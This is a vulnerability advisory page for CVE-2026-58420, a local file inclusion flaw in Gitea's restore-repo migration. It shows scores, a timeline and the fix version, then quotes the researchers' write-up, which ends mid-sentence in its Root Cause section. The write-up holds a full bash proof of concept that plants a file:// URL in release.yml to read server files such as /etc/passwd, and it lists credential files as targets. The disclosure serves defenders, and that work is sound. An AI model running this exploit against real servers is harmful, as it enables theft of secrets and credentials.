CVE-2026-58420: Gitea · Local File Inclusion via file:// URI in Migration Restore
Affects gitea.devSource GCVE Database
Not known to be exploited · CVSS 4.4 Medium : upgrade to 1.27.0 when convenient.
Data as of 26 Oct 2026, 17:16 UTC
- EPSS
- 0.4% chance of exploitation in 30 days – higher than 40% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
- Patch
- Available – fixed in 1.27.0
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NExploitation evidence
t = 0 is the CVE’s publication on cve.org
Disclosed: evidence found.
CVE published 13 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: evidence found.
CISA SSVC: proof of concept public
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
Timeline
CVE ID reserved
by Gitea Limited
, 44 days before disclosure
CVE published
on cve.org
, t = 0
CISA SSVC assessment
proof of concept public
, 25 hours after disclosure
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CISA SSVC, the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.
What to do
Upgrade gitea.dev to 1.27.0.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| Gogitea.dev | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
# Local File Inclusion via file:// URI in Migration Restore Target: go-gitea/gitea Component: services/migrations/gitea_uploader.go, modules/uri/uri.go Severity: High Affected Versions: <= v1.22.x (all releases), master as of latest commit Researchers: - Isa Can — Eresus Security (https://github.com/isa0-gh) - Yigit Ibrahim — Eresus Security (https://github.com/ibrahmsql) --- ## Summary Gitea's restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments. --- ## Impact An attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include: - app.ini — containing database passwords and secret keys - SSH private keys (~/.ssh/id_rsa, /etc/ssh/ssh_host_*) - TLS certificates and private keys - Cloud provider credential files (e.g. ~/.aws/credentials) - Any other file readable by the Gitea process user The exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API. --- ## Affected Code ### modules/uri/uri.go ``` func Open(rawURL string) (io.ReadCloser, error) { u, err := url.Parse(rawURL) if err != nil { return nil, err } switch u.Scheme { case "http", "https": resp, err := http.Get(rawURL) ... case "file": return os.Open(u.Path) // no scheme validation, no path restriction } } ``` ### services/migrations/gitea_uploader.go (~line 370) ``` func (g *GiteaLocalUploader) CreateReleases(releases ...*base.Release) error { for _, rel := range releases { for _, asset := range rel.Assets { rc, err := uri.Open(asset.DownloadURL) // user-controlled, unvalidated ... // file content saved as release attachment } } } ``` --- ## Attack Scenario An attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can: 1. Create a malicious archive containing release.yml: ``` releases: - tag_name: v0.0.1 assets: - name: exfiltrated.txt download_url: "file:///etc/passwd" ``` 2. Run restore: ``` gitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo ``` 3. The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt. 4. Retrieve via API: ``` curl -s "http://gitea.example.com/api/v1/repos/target-org/test-repo/releases/latest/assets" \ -H "Authorization: token ADMIN_TOKEN" | jq -r '.[].browser_download_url' ``` --- ## PoC > Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access. ``` #!/usr/bin/env bash # PoC: Gitea LFI via release.yml DownloadURL # Requires: admin credentials, gitea binary on PATH (server host) GITEA_URL="${1:-http://localhost:3000}" ADMIN_TOKEN="${2:-REPLACE_ME}" TARGET_FILE="${3:-/etc/passwd}" OWNER="test-org" REPO="lfi-test" ``` # 1. Create target org and repo via API ``` curl -sf -X POST "$GITEA_URL/api/v1/orgs" \ -H "Authorization: token $ADMIN_TOKEN" \ -H "Content-Type: application/json" \ -d "{\"username\":\"$OWNER\",\"visibility\":\"private\"}" || true curl -sf -X POST "$GITEA_URL/api/v1/user/repos" \ -H "Authorization: token $ADMIN_TOKEN" \ -H "Content-Type: application/json" \ -d "{\"name\":\"$REPO\",\"private\":true,\"auto_init\":true}" || true ``` # 2. Build malicious archive ``` TMP=$(mktemp -d) mkdir -p "$TMP/bundles/$OWNER/$REPO" cat > "$TMP/bundles/$OWNER/$REPO/release.yml" <<YAML releases: - tag_name: v0.0.1 name: test body: "" draft: false prerelease: false assets: - name: output.txt download_url: "file://$TARGET_FILE" size: 0 download_count: 0 YAML cd "$TMP" && zip -r poc.zip bundles/ ```` # 3. Trigger restore ``` gitea restore-repo \ --zip-path "$TMP/poc.zip" \ --owner "$OWNER" \ --repo "$REPO" \ --units release 2>&1 ``` # 4. Retrieve exfiltrated content ``` echo "[*] Fetching exfiltrated content..." RELEASE_ID=$(curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1" \ -H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].id') curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets" \ -H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].browser_download_url' | \ xargs -I{} curl -sf "{}" -H "Authorization: token $ADMIN_TOKEN" rm -rf "$TMP" ``` --- ## Root Cause uri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. However, the function is also invoked in git